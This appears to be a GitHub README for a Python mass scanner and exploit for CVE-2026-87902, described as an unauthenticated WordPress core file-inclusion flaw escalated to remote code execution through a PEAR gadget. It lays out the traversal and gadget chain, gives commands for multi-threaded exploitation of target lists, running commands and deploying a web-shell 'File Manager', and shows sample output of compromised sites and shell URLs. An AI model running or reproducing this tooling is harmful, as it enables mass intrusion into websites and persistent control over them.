mrdark-ops/cve-2026-87902ماسح ضخم بلغة Python واستغلال لـ CVE-2026-87902، وهو ثغرة LFI غير مصادَق عليها في نواة WordPress ضمن get_page_template() تُصعَّد إلى RCE عبر سلسلة أدوات PEAR.
<div align="center">
# 🎯 CVE-2026-87902 — WordPress Core LFI → RCE
<img src="https://img.shields.io/badge/CVE-2026--87902-critical-red?style=for-the-badge&logo=wordpress" />
<img src="https://img.shields.io/badge/CVSS-9.8-darkred?style=for-the-badge" />
<img src="https://img.shields.io/badge/GHSA-7hp8--65ch--5whp-orange?style=for-the-badge" />
<img src="https://img.shields.io/badge/CWE--22-Path_Traversal-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/Author-HackfutSecRoot-purple?style=for-the-badge&logo=github" />
<img src="https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&logo=python" />
<img src="https://img.shields.io/badge/License-MIT-green?style=for-the-badge" />
<br>
<img src="https://readme-typing-svg.demolab.com?font=Fira+Code&size=22&duration=3000&pause=1000&color=F75C7E%C2%A2er=true&vCenter=true&width=700&lines=WordPress+get_page_template()+Unauthenticated+LFI;PEAR+gadget+chain+%E2%86%92+RCE+%E2%86%92+File+Manager;Mass+scanner+with+multi-threading" />
<br>
**[🔍 Overview](#-overview) · [⚡ Quick Start](#-quick-start) · [🎯 Usage](#-usage) · [📊 Output](#-output) · [📞 Contact](#-contact)**
</div>
---
## 🔍 Overview
**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.
The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.
### 🎯 Attack Chain
┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ POST مجهول │───▶│ LFI عبر │───▶│ PEAR Gadget │ │ page_id + │ │ page-templates/│ │ config-create │ │ pagename │ │ ../../../ │ │ يكتب shell │ └─────────────────┘ └──────────────────┘ └──────────────────┘ │ ▼ ┌──────────────────┐ │ 💀 RCE + │ │ مدير الملفات │ └──────────────────┘
### ⚠️ Affected Versions
| Product | Vulnerable | Patched |
|---------|-----------|---------|
| **WordPress Core** | `4.7.0` → `7.1.1` | `7.1.2+` |
| **Severity** | 🔴 **CRITICAL** | — |
| **CVSS 4.0** | **9.8** | — |
| **Authentication** | ❌ None required | — |
---
## ⚡ Quick Start
### 📦 Installation
```bash
# استنساخ المستودع
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# تثبيت التبعيات (المكتبة القياسية فقط — لا حاجة إلى pip!)
python --version # يتطلب Python 3.8+
# 1. أنشئ ملف الأهداف الخاص بك
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. فحص غير مدمّر (آمن)
python main.py -l targets.txt --check --threads 20
# 3. استغلال كامل + مدير الملفات
python main.py -l targets.txt --rce --shell --threads 10
| Mode | Command | Description |
|---|---|---|
| 🔍 Check | python main.py -l targets.txt --check |
Non-destructive LFI detection |
| 💥 LFI | python main.py -l targets.txt |
Confirm LFI with OPML oracle |
| ⚡ RCE | python main.py -l targets.txt --rce --command "id" |
Execute commands via PEAR |
| 📁 Shell | python main.py -l targets.txt --rce --shell |
Deploy File Manager |
python main.py --help
-u, --url URL عنوان URL هدف واحد
-l, --list FILE ملف يحتوي على الأهداف (هدف واحد في كل سطر)
--check فحص غير مُدمِّر فقط
--rce تفعيل التصعيد إلى RCE
--shell نشر File Manager shell
--command CMD الأمر المراد تنفيذه (الافتراضي: id)
--page-id N فرض معرّف صفحة محدد
--threads N عدد الخيوط المتزامنة (الافتراضي: 20)
--timeout S مهلة كل طلب (الافتراضي: 12)
--proxy URL وكيل HTTP(S)
--output FILE إخراج السجل الكامل
--output-vuln FILE الأهداف القابلة للاستغلال فقط
--output-rce FILE أهداف RCE فقط
--no-color تعطيل ألوان ANSI
# هدف واحد مع RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"
# فحص جماعي مع proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5
# معرّف صفحة مخصص إذا فشل الاكتشاف
python main.py -u https://target.com --page-id 2 --rce --shell
After a successful run, the following files are generated:
| File | Contents |
|---|---|
📄 results.txt | Full scan log |
🎯 vulnerable.txt | Targets with confirmed LFI |
💀 rce.txt | Targets with successful RCE |
📁 shells.txt | File Manager URLs |
CVE-2026-87902 ماسح ضخم v3.0
WordPress get_page_template() LFI غير مصادق عليه -> RCE
GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
المتأثر: WordPress 4.7.0 - 7.1.1
الحمولة: File Manager (نشر تلقائي)
======================================================================
الوضع : EXPLOIT + FILE MANAGER
الأهداف : 50
الخيوط : 20
المهلة : 12.0s
بدأ : 2026-09-28 14:32:15
======================================================================
[14:32:16] [+] https://target1.com | VULNERABLE | تم تأكيد LFI: wp-links-opml.php عبر page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | بدء RCE + File Manager...
[14:32:18] [+] تم العثور على Gadget: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$] تم نشر File Manager: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | تم التصحيح: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | إصدار قابل للاستغلال (5.8.1) لكن OPML oracle لم يُفعّل
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)